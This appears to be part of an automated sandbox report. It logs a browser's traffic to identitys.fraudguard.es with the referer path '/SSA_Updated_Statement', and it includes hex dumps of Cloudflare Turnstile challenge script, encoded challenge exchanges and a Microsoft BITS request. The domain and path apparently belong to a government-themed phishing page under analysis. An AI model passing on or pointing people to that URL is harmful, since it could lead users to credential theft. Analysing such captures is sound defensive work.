2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 Data Ascii: av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUB
2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 63 74 7c 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 Data Ascii: ct\|\|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var
2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 73 2c 6e 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 Data Ascii: s,n);var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(
2024-11-22 21:59:37 UTC	1369	IN	Data Raw: 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 Data Ascii: cument.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49715	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:37 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 21:59:38 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=67508 Date: Fri, 22 Nov 2024 21:59:38 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49716	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:38 UTC	1350	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1250272685:1732310934:lMv4vQNu6SJi5YfzNbAzvoSVeZ0M-LX4x3rf3884x4k/8e6c2fe6acef7ce4/gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive Content-Length: 4444 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" CF-Chl-RetryAttempt: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs sec-ch-ua-platform: "Windows" Accept: / Origin: https://identitys.fraudguard.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://identitys.fraudguard.es/SSA_Updated_Statement Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:38 UTC	4444	OUT	Data Raw: 76 5f 38 65 36 63 32 66 65 36 61 63 65 66 37 63 65 34 3d 61 74 76 75 66 75 34 56 49 64 37 71 76 62 74 45 7a 71 62 50 57 41 38 37 68 57 48 75 6b 51 57 37 65 45 57 51 57 79 24 6b 71 37 33 57 69 70 69 57 50 54 77 45 37 4e 57 64 72 53 77 54 45 57 67 77 57 30 57 4d 65 37 41 57 7a 79 4a 53 39 6b 57 37 6b 57 6d 56 24 49 4d 57 79 70 45 2d 66 57 4d 4a 65 57 31 57 79 51 41 59 73 55 35 45 57 4f 51 57 76 65 57 4c 57 4d 74 45 6c 51 51 6b 71 2d 61 4b 37 24 24 4e 67 54 61 37 71 31 24 37 55 57 42 41 4f 61 34 45 57 38 75 62 5a 57 6b 55 64 59 70 75 2d 6d 75 51 42 49 49 69 42 6d 56 30 2d 51 61 4c 64 58 37 6b 51 76 7a 77 73 57 50 54 25 32 62 57 57 55 76 54 45 57 4d 57 34 76 4a 30 5a 48 31 67 62 24 57 73 6f 65 57 65 4a 54 4a 4d 57 37 5a 57 34 65 57 75 71 76 42 57 6b 66 73 59 Data Ascii: v_8e6c2fe6acef7ce4=atvufu4VId7qvbtEzqbPWA87hWHukQW7eEWQWy$kq73WipiWPTwE7NWdrSwTEWgwW0WMe7AWzyJS9kW7kWmV$IMWypE-fWMJeW1WyQAYsU5EWOQWveWLWMtElQQkq-aK7$$NgTa7q1$7UWBAOa4EW8ubZWkUdYpu-muQBIIiBmV0-QaLdX7kQvzwsWPT%2bWWUvTEWMW4vJ0ZH1gb$WsoeWeJTJMW7ZW4eWuqvBWkfsY
2024-11-22 21:59:38 UTC	859	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:38 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 13640 Connection: close cf-chl-gen: 4tTM26UvmhxwTXhLYL03lK+GhIW3DaQoHrOUXEsfIDoQco+ay/lxVu9ot7KK1vw4+7MM256JBdk=$5FNL/4JSbVK9Tezc Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MOd8ceJK%2BIrslrASNbnFjPd5tKosOEiyIxBHVPev4HAHZMeVe1LFEgp1S0emj9IJ9rWto6kmO9ZkjOb4EhsmnmDPnEM%2BnMwL4%2Bxgcm0xT0ZT%2FTFPQso%2FlDg2plPOCYsFuoddiuw2zUnwiA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6c300ffd0241af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1959&sent=6&recv=11&lost=0&retrans=0&sent_bytes=2830&recv_bytes=6416&delivery_rate=1449131&cwnd=218&unsent_bytes=0&cid=3cb2072eb36794ff&ts=560&x=0"
2024-11-22 21:59:38 UTC	510	IN	Data Raw: 75 36 36 30 71 37 66 41 65 4b 71 4a 73 38 4f 39 73 38 57 37 77 73 4a 39 66 39 4c 56 6c 48 72 53 78 63 76 43 7a 74 65 50 77 62 36 55 77 71 4f 4f 79 5a 43 6c 69 2b 50 57 33 4e 50 66 36 4b 44 53 7a 36 62 54 74 4a 2f 62 6f 62 61 63 6e 5a 36 66 39 75 4c 30 6f 2b 50 6f 37 4f 62 72 38 66 62 71 37 77 49 48 72 38 32 78 38 77 62 37 43 77 54 38 42 77 34 4f 39 73 7a 36 32 61 6e 41 77 63 4c 44 47 77 63 5a 78 78 77 50 47 52 44 2b 45 79 41 6c 46 69 55 6e 30 2f 48 56 47 43 6f 67 4c 79 67 68 4b 7a 49 79 47 2f 45 66 2f 63 33 4f 35 65 62 6e 36 44 4d 78 36 2f 51 74 4d 6a 59 77 4e 54 74 41 4e 44 6c 4c 55 41 64 4c 4a 45 35 47 4b 52 49 41 48 68 38 67 42 42 55 50 42 32 50 79 38 77 73 4d 44 51 34 50 45 42 45 53 55 6c 64 62 56 56 70 67 5a 56 6c 65 63 48 55 65 50 43 42 38 44 43 4d Data Ascii: u660q7fAeKqJs8O9s8W7wsJ9f9LVlHrSxcvCztePwb6UwqOOyZCli+PW3NPf6KDSz6bTtJ/bobacnZ6f9uL0o+Po7Obr8fbq7wIHr82x8wb7CwT8Bw4O9sz62anAwcLDGwcZxxwPGRD+EyAlFiUn0/HVGCogLyghKzIyG/Ef/c3O5ebn6DMx6/QtMjYwNTtANDlLUAdLJE5GKRIAHh8gBBUPB2Py8wsMDQ4PEBESUldbVVpgZVlecHUePCB8DCM
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 6f 4f 4f 66 67 43 36 45 45 30 4f 6a 45 39 52 76 30 77 4e 54 6b 7a 4f 44 35 44 4e 30 68 4b 54 77 70 54 4a 7a 46 48 4e 52 55 44 45 51 56 64 55 46 5a 4e 57 57 49 61 54 46 46 56 54 31 52 61 58 31 4e 6b 5a 6d 73 6d 54 48 4a 74 56 54 45 71 43 53 41 68 49 69 4d 6b 4a 53 59 6e 4b 43 6b 71 4b 31 31 31 68 56 75 43 53 55 77 7a 69 33 36 45 65 34 65 51 53 48 70 2f 67 33 32 43 69 49 32 42 6b 70 53 5a 56 47 68 34 63 35 4e 63 54 46 70 4f 70 70 6d 66 6c 71 4b 72 59 35 57 61 6e 70 69 64 6f 36 69 63 72 61 2b 30 62 35 75 7a 75 5a 78 2b 63 31 4a 70 61 6d 74 73 62 57 35 76 63 48 46 79 63 33 53 2f 7a 36 6d 63 6b 5a 52 37 30 38 62 4d 77 38 2f 59 6b 4d 4c 48 79 38 58 4b 30 4e 58 4a 32 74 7a 68 6e 4e 4b 35 78 64 76 67 32 63 69 69 67 5a 69 5a 6d 70 75 63 6e 5a 36 66 6f 4b 47 69 6f Data Ascii: oOOfgC6EE0OjE9Rv0wNTkzOD5DN0hKTwpTJzFHNRUDEQVdUFZNWWIaTFFVT1RaX1NkZmsmTHJtVTEqCSAhIiMkJSYnKCkqK111hVuCSUwzi36Ee4eQSHp/g32CiI2BkpSZVGh4c5NcTFpOppmflqKrY5Wanpido6icra+0b5uzuZx+c1JpamtsbW5vcHFyc3S/z6mckZR708bMw8/YkMLHy8XK0NXJ2tzhnNK5xdvg2ciigZiZmpucnZ6foKGio
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 39 4e 54 51 33 50 66 76 61 38 66 4c 7a 39 50 58 32 39 2f 6a 35 2b 76 76 38 4c 53 51 6f 52 52 51 64 42 46 78 50 56 55 78 59 59 52 6c 4c 55 46 52 4f 55 31 6c 65 55 6d 4e 6c 61 69 56 62 59 57 59 38 62 47 5a 51 59 6c 59 74 44 43 4d 6b 4a 53 59 6e 4b 43 6b 71 4b 79 77 74 4c 6e 4e 6b 58 6c 6c 56 52 6b 38 32 6a 6f 47 48 66 6f 71 54 53 33 32 43 68 6f 43 46 69 35 43 45 6c 5a 65 63 56 34 35 2f 65 58 52 77 59 56 77 37 55 6c 4e 55 56 56 5a 58 57 46 6c 61 57 31 78 64 69 4b 4b 4e 70 70 68 32 66 6d 57 39 73 4c 61 74 75 63 4a 36 72 4c 47 31 72 37 53 36 76 37 50 45 78 73 75 47 6f 37 32 6f 77 62 4f 52 69 32 71 42 67 6f 4f 45 68 59 61 48 69 49 6d 4b 69 34 79 75 31 65 44 56 31 61 6d 74 6c 4f 7a 66 35 64 7a 6f 38 61 6e 62 34 4f 54 65 34 2b 6e 75 34 76 50 31 2b 72 58 4a 38 50 Data Ascii: 9NTQ3Pfva8fLz9PX29/j5+vv8LSQoRRQdBFxPVUxYYRlLUFROU1leUmNlaiVbYWY8bGZQYlYtDCMkJSYnKCkqKywtLnNkXllVRk82joGHfoqTS32ChoCFi5CElZecV45/eXRwYVw7UlNUVVZXWFlaW1xdiKKNpph2fmW9sLatucJ6rLG1r7S6v7PExsuGo72owbORi2qBgoOEhYaHiImKi4yu1eDV1amtlOzf5dzo8anb4OTe4+nu4vP1+rXJ8P
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 38 55 55 35 53 66 55 55 39 77 41 42 46 75 58 38 2f 66 34 41 41 51 49 44 42 41 55 47 42 77 68 66 53 31 30 4d 57 46 4e 6f 50 46 5a 67 45 7a 45 56 59 56 78 78 4a 32 5a 67 61 6d 52 79 5a 7a 73 68 44 43 4d 6b 4a 53 59 6e 4b 43 6b 71 4b 79 77 74 4c 6f 56 78 67 7a 4a 30 68 6f 64 69 66 49 59 35 56 7a 74 39 6a 35 42 4e 6a 49 61 51 69 70 69 4e 59 55 63 79 53 55 70 4c 54 45 31 4f 54 31 42 52 55 6c 4e 55 6d 36 57 70 57 47 47 77 6e 4b 35 64 70 36 4f 34 59 58 39 6a 64 49 42 6d 73 4b 7a 42 61 6f 64 73 72 73 44 42 6e 4c 62 41 6a 6e 53 2b 75 73 2b 44 68 49 4e 37 31 32 64 2b 66 34 43 42 67 6f 4f 45 68 59 61 48 69 49 6d 4b 69 34 79 4e 34 4e 54 6b 6b 5a 32 77 6c 4e 76 6f 35 75 57 38 34 74 7a 75 77 4f 33 6a 35 63 54 6a 35 75 7a 71 34 61 2f 70 2b 2f 7a 6d 39 66 45 48 37 4c 44 Data Ascii: 8UU5SfUU9wABFuX8/f4AAQIDBAUGBwhfS10MWFNoPFZgEzEVYVxxJ2ZgamRyZzshDCMkJSYnKCkqKywtLoVxgzJ0hodifIY5Vzt9j5BNjIaQipiNYUcySUpLTE1OT1BRUlNUm6WpWGGwnK5dp6O4YX9jdIBmsKzBaodsrsDBnLbAjnS+us+DhIN712d+f4CBgoOEhYaHiImKi4yN4NTkkZ2wlNvo5uW84tzuwO3j5cTj5uzq4a/p+/zm9fEH7LD
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 50 67 39 51 7a 39 52 56 67 73 41 43 46 64 56 45 55 31 48 56 55 78 56 54 31 30 54 46 69 6e 34 45 42 45 53 45 78 51 56 46 68 63 59 47 52 6f 62 48 42 30 65 48 33 30 74 49 6a 51 30 4c 6b 45 52 4b 43 6b 71 4b 79 77 74 4c 69 38 77 4d 54 49 7a 66 58 73 2b 6a 6f 47 48 66 6f 71 54 53 35 65 44 64 35 52 59 55 58 43 55 65 4a 6c 38 57 56 4a 53 6d 35 32 65 6e 71 4b 6c 70 36 47 64 71 4b 71 67 6d 32 61 64 71 71 71 78 70 36 32 31 6f 72 61 73 73 37 4e 74 63 48 46 70 78 56 56 73 62 57 35 76 63 48 46 79 63 33 52 31 64 6e 64 34 65 58 70 37 30 38 62 4d 77 38 2f 59 6b 4e 62 4a 32 62 72 51 31 63 37 5a 34 4f 43 56 31 4f 54 65 31 4f 62 63 34 2b 4f 65 6f 4a 6a 30 68 4a 75 63 6e 5a 36 66 6f 4b 47 69 6f 36 53 6c 70 71 65 6f 71 61 71 72 72 4b 32 75 42 2f 6b 41 39 67 4d 4d 77 2f 66 68 Data Ascii: Pg9Qz9RVgsACFdVEU1HVUxVT10TFin4EBESExQVFhcYGRobHB0eH30tIjQ0LkERKCkqKywtLi8wMTIzfXs+joGHfoqTS5eDd5RYUXCUeJl8WVJSm52enqKlp6GdqKqgm2adqqqxp621orass7NtcHFpxVVsbW5vcHFyc3R1dnd4eXp708bMw8/YkNbJ2brQ1c7Z4OCV1OTe1Obc4+OeoJj0hJucnZ6foKGio6SlpqeoqaqrrK2uB/kA9gMMw/fh
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 34 41 41 51 49 44 42 41 55 47 42 77 67 4a 43 67 73 4d 44 51 34 50 5a 31 70 67 56 32 4e 73 4a 46 68 43 55 55 73 72 4a 43 59 35 43 53 41 68 49 69 4d 6b 4a 53 59 6e 4b 43 6b 71 4b 79 77 74 4c 69 2b 4e 50 54 4a 45 52 45 56 47 51 46 4d 6a 4f 6a 73 38 50 54 34 2f 51 45 46 43 51 30 52 46 6f 34 79 55 6e 49 2b 6d 4e 6b 31 4f 54 31 42 52 55 6c 4e 55 56 56 5a 58 57 46 6c 61 57 31 79 67 70 71 4b 30 75 5a 31 71 6b 36 75 6f 74 72 64 2b 63 61 68 73 69 6d 36 44 69 31 74 79 63 33 52 31 64 6e 64 34 65 58 70 37 66 48 31 2b 66 34 43 42 78 63 76 48 32 64 37 43 6a 37 58 69 73 36 2f 65 6f 35 62 4e 6d 5a 74 39 6c 4a 57 57 6c 35 69 5a 6d 70 75 63 6e 5a 36 66 2f 59 75 69 6f 36 53 6c 70 71 65 6f 71 51 69 72 38 66 6b 43 39 4c 41 4e 6e 4c 4f 30 74 62 61 33 75 4c 6d 36 75 37 79 39 76 Data Ascii: 4AAQIDBAUGBwgJCgsMDQ4PZ1pgV2NsJFhCUUsrJCY5CSAhIiMkJSYnKCkqKywtLi+NPTJEREVGQFMjOjs8PT4/QEFCQ0RFo4yUnI+mNk1OT1BRUlNUVVZXWFlaW1ygpqK0uZ1qk6uotrd+cahsim6Di1tyc3R1dnd4eXp7fH1+f4CBxcvH2d7Cj7Xis6/eo5bNmZt9lJWWl5iZmpucnZ6f/Yuio6SlpqeoqQir8fkC9LANnLO0tba3uLm6u7y9v
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 4a 54 55 64 4d 55 6c 64 4c 55 47 4a 6e 48 6d 49 37 5a 56 31 41 4b 56 51 6d 5a 6d 4a 6e 56 6a 34 32 48 79 73 2b 49 6e 46 70 66 43 5a 4c 61 58 31 76 4d 7a 55 37 64 58 53 45 5a 58 75 41 65 54 30 2f 55 69 49 6a 4f 6a 73 38 50 59 43 52 68 59 4b 4e 58 69 36 49 68 35 71 4e 53 56 47 43 68 71 43 61 61 46 64 72 50 46 4e 55 56 56 61 57 6d 35 2b 5a 6e 71 53 70 6e 61 4b 30 75 58 43 50 6d 71 32 58 69 33 74 70 68 32 75 6e 71 6f 6c 5a 63 48 46 79 63 37 4f 34 76 4c 61 37 77 63 61 36 76 39 48 57 6a 63 47 72 71 36 6d 55 68 61 4f 48 69 70 33 53 73 35 32 34 6f 72 54 41 77 38 62 6d 76 63 2b 33 33 64 33 4a 35 4f 47 78 38 36 76 4c 30 4d 53 34 37 2b 33 50 7a 2b 44 74 42 4c 7a 37 32 2b 44 53 34 41 76 38 36 4e 79 32 30 4b 43 33 75 4c 6d 36 2b 67 41 45 2f 51 4d 4a 44 67 49 48 47 52 Data Ascii: JTUdMUldLUGJnHmI7ZV1AKVQmZmJnVj42Hys+InFpfCZLaX1vMzU7dXSEZXuAeT0/UiIjOjs8PYCRhYKNXi6Ih5qNSVGChqCaaFdrPFNUVVaWm5+ZnqSpnaK0uXCPmq2Xi3tph2unqolZcHFyc7O4vLa7wca6v9HWjcGrq6mUhaOHip3Ss524orTAw8bmvc+33d3J5OGx86vL0MS47+3Pz+DtBLz72+DS4Av86Ny20KC3uLm6+gAE/QMJDgIHGR
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 55 46 4d 6a 48 31 68 43 62 43 52 55 56 30 49 74 54 48 41 76 5a 54 4e 6d 5a 6d 31 62 55 31 31 72 53 31 39 79 66 45 2b 43 57 49 56 68 5a 31 68 39 66 6e 4e 62 64 59 46 35 5a 6b 79 46 5a 45 74 4a 54 6c 56 53 55 6c 52 54 56 56 74 63 56 31 52 5a 56 31 78 5a 58 56 74 66 58 4b 53 71 68 49 65 44 72 49 65 65 73 71 32 66 6a 6f 5a 72 67 59 6d 4c 69 62 64 30 65 61 75 4c 6e 49 43 68 6b 4a 43 77 68 4b 53 61 68 63 75 73 79 35 72 42 69 38 66 42 6a 73 66 53 72 36 50 44 79 62 48 44 30 72 69 71 73 70 6a 64 6e 71 36 72 7a 61 4b 35 72 2b 4b 58 6e 5a 4c 53 31 39 76 56 32 75 44 6c 32 64 37 77 39 61 65 36 69 71 47 69 6f 36 51 44 6b 4b 65 6f 71 61 72 39 38 51 49 45 41 76 37 4d 6e 50 62 31 43 66 75 2b 41 65 41 42 41 52 58 75 42 67 6a 48 32 38 49 57 43 68 6f 63 47 68 66 6b 74 41 38 Data Ascii: UFMjH1hCbCRUV0ItTHAvZTNmZm1bU11rS19yfE+CWIVhZ1h9fnNbdYF5ZkyFZEtJTlVSUlRTVVtcV1RZV1xZXVtfXKSqhIeDrIeesq2fjoZrgYmLibd0eauLnIChkJCwhKSahcusy5rBi8fBjsfSr6PDybHD0riqspjdnq6rzaK5r+KXnZLS19vV2uDl2d7w9ae6iqGio6QDkKeoqar98QIEAv7MnPb1Cfu+AeABARXuBgjH28IWChocGhfktA8
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 44 45 56 48 56 38 2f 58 31 39 7a 54 57 52 6d 4a 69 6b 68 66 51 30 6b 4a 53 59 6e 4b 43 6b 71 4b 79 77 74 4c 69 38 77 4d 54 49 7a 63 33 42 31 63 6b 68 32 64 30 4e 46 57 43 67 2f 51 45 46 43 51 30 52 46 52 6b 64 49 53 55 71 6f 4e 6b 31 4f 54 31 42 52 55 6c 4e 55 73 6e 46 42 57 46 6c 61 57 31 78 64 58 6c 2b 6a 71 61 36 6d 75 4c 32 68 62 70 54 42 6b 6f 36 39 67 6e 57 73 63 49 35 79 74 4b 4c 4b 71 49 32 54 59 32 52 37 66 48 31 2b 66 34 43 42 67 74 66 57 33 6f 62 69 63 6f 6d 4b 69 34 79 4e 6a 6f 2b 51 6b 5a 4b 54 6c 4e 6a 65 34 39 76 74 38 74 61 6a 7a 4f 54 68 37 2f 43 33 71 75 47 6c 77 36 65 34 78 4a 53 72 72 4b 32 75 72 37 43 78 73 72 4f 30 74 62 59 50 41 67 6a 2b 43 78 54 4c 38 4f 76 6e 35 4e 66 44 34 63 58 4e 39 4e 67 59 38 76 7a 67 34 42 41 6b 49 52 55 44 Data Ascii: DEVHV8/X19zTWRmJikhfQ0kJSYnKCkqKywtLi8wMTIzc3B1ckh2d0NFWCg/QEFCQ0RFRkdISUqoNk1OT1BRUlNUsnFBWFlaW1xdXl+jqa6muL2hbpTBko69gnWscI5ytKLKqI2TY2R7fH1+f4CBgtfW3obicomKi4yNjo+QkZKTlNje49vt8tajzOTh7/C3quGlw6e4xJSrrK2ur7CxsrO0tbYPAgj+CxTL8Ovn5NfD4cXN9NgY8vzg4BAkIRUD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49718	104.21.94.21	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:38 UTC	422	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8e6c2fe6acef7ce4 HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
